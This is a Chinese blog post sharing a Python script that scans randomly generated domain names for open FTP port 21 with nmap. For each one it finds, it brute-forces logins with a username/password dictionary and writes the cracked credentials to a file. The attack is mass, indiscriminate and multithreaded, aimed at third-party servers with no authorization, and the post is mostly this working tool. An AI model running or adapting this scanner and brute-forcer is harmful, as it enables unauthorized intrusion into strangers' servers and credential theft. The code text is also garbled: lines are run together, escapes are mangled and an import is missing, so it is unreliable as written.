使用python扫描随机生成的域名开放端口 ,并尝试暴力破解FTP服务

本代码属于使用python3.4版本  主要是交流  高手勿喷!!

#!/usr/bin/python# -*- coding: utf-8 -*- import nmap   # 需要使用nmap端口扫描工具的支持     这里不仅要安装nmap的python包  还要安装nmap的windows的应用程序    python包 直接使用pip安装即可    至于nmap for windows 的版本如何安装 请直接度娘  from socket import *import threading import sys,random,timeimport string,osimport configparser   ### 配置文件包"""端口扫描工具  并且判断如果端口21打开 尝试暴力破解FTP"""screenLock = threading.Semaphore(value=1)def bruteLogin(hostname, passwdFile):    """尝试破解FTP"""    pF = open(passwdFile, 'r')    for line in pF.readlines():        time.sleep(1)        userName = line.split(' ')[0]        passWord = line.split(' ')[1].strip('/r').strip('/n')       # PRint ("[+] 尝试攻击:%s      "%hostname+userName+"/"+passWord)       # print("[-]主机:",hostname)##                try:            ftp = ftplib.FTP(hostname)            ftp.login(userName, passWord)            print( '/n[*] ' + str(hostname) +/          ' FTP 账号和密码是: '+userName+"/"+passWord)                         ftp.quit()            return (userName, passWord)        except Exception:            pass ##尝试失败 重试中                print( '/n[-]FTP %s攻击失败!.'%hostname)    return (None, None)    def nmapScan(tgtip,tgtPort,tgtHost):         nmScan = nmap.PortScanner()    try:        nmScan.scan(tgtip,tgtPort)                 state=nmScan[tgtip]['tcp'][int(tgtPort)]['state']    except :        return None    return state     def portScan(tgtHost, tgtPorts):       try:        tgtIP = gethostbyname(tgtHost)           except:                return     try:        tgtName = gethostbyaddr(tgtIP)   ## 这里是反向查询ip地址对应的DNS 主机名     except :        tgtName  = None                       setdefaulttimeout(1)         scan = {}    for tgtPort in tgtPorts:          state = nmapScan(tgtIP,str(tgtPort),tgtHost)        if state =="open":  ### 发现开放端口 就在字典中写入            if tgtHost not in scan :                scan[tgtHost] = []                                 scan[tgtHost].append(str(tgtPort))            else:                                 scan[tgtHost].append(str(tgtPort))                                         if len(scan)>0:  ## 从字典中导出   根据字典中的数据写配置文件        config =configparser.ConfigParser()        config.add_section(tgtHost)        config.set(tgtHost,"IP",tgtIP)                 if tgtName!=None:            config.set(tgtHost,"主机名",tgtName[0])        else:            config.set(tgtHost,"主机名","未知")        print("当前线程数: %d    当前扫描主机%s开放的端口有:"%(threading.activeCount()-1,tgtHost),scan[tgtHost])        for x in scan[tgtHost]:            config.set(tgtHost,"端口%s  "%x,"  isopen")        cfgfile = open('IpConfig.ini','a')        config.write(cfgfile)        cfgfile.close()        if "21" in scan[tgtHost]:            print( '/n[+]FTP %s开始攻击!.'%tgtIP)            passwdFile = 'userpass.txt'     ##设置ftp弱口令的用户名和密码字典    字典存放的规则是 用户名加空格加密码后换行  类似于: username password/n            res = bruteLogin(tgtIP, passwdFile)            if res[0]!=None:                ftp = open("ftp.txt","a")                ftp.write(tgtIP+"   :   userName = "+res[0]+"    password = "+res[1])                ftp.close()                                                                                                              def gethost(x):       lis = ['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a','1','2','3','4','5','6','7','8','9','0']    s=''    s =  (s.join(random.sample(lis, x))).replace(" ","")             ss = [s+".cn",s+".cc",s+".com",s+".net",s+".pw",s+".wang",s+".vip",s+".tv",s+".org",s+".pub"]    return (s,ss)             def main():     driver = "D://Python34//nmap"    os.environ['PATH']=os.environ['PATH']+';'+driver    ho =[]    for x in range(12000):        while True:   ##这里是一个避免重复的排除方式            hos,Host =gethost(4)  ###这里是随机域名             if hos not in ho:                ho.append(hos)                   break            else:                continue                                                    ##        21/tcp FTP 文件传输协议 ##        22/tcp SSH 安全登录、文件传送(SCP)和端口重定向 ##        23/tcp Telnet 不安全的文本传送 ##        25/tcp SMTP Simple Mail Transfer Protocol (E-mail) ##        69/udp TFTP Trivial File Transfer Protocol ##        79/tcp finger Finger ##        80/tcp HTTP 超文本传送协议 (WWW) ##        88/tcp Kerberos Authenticating agent ##        110/tcp POP3 Post Office Protocol (E-mail) ##        113/tcp ident old identification server system ##        119/tcp NNTP used for usenet newsgroups ##        220/tcp IMAP3 ##        443/tcp HTTPS used for securely transferring web pages##        3389/tcp windows服务器远程桌面端口##        445/tcp 共享打印机端口##        139/tcp 被用于Windows"文件和打印机共享"和SAMBA         Port = [21,]  ##需要扫描的端口   这里 是扫描了ftp服务器 所以为了效率 全部只扫描21号端口        for x in Host:            t = threading.Thread(target=portScan,args=(x,Port))  ###开启线程 扫描随机的域名             t.start()        while True:            if threading.activeCount()-1>100:  ## 这里做了一个缓冲 限制了最大拥有100多个线程                time.sleep(1)            else:                break                            if __name__ == '__main__':    main()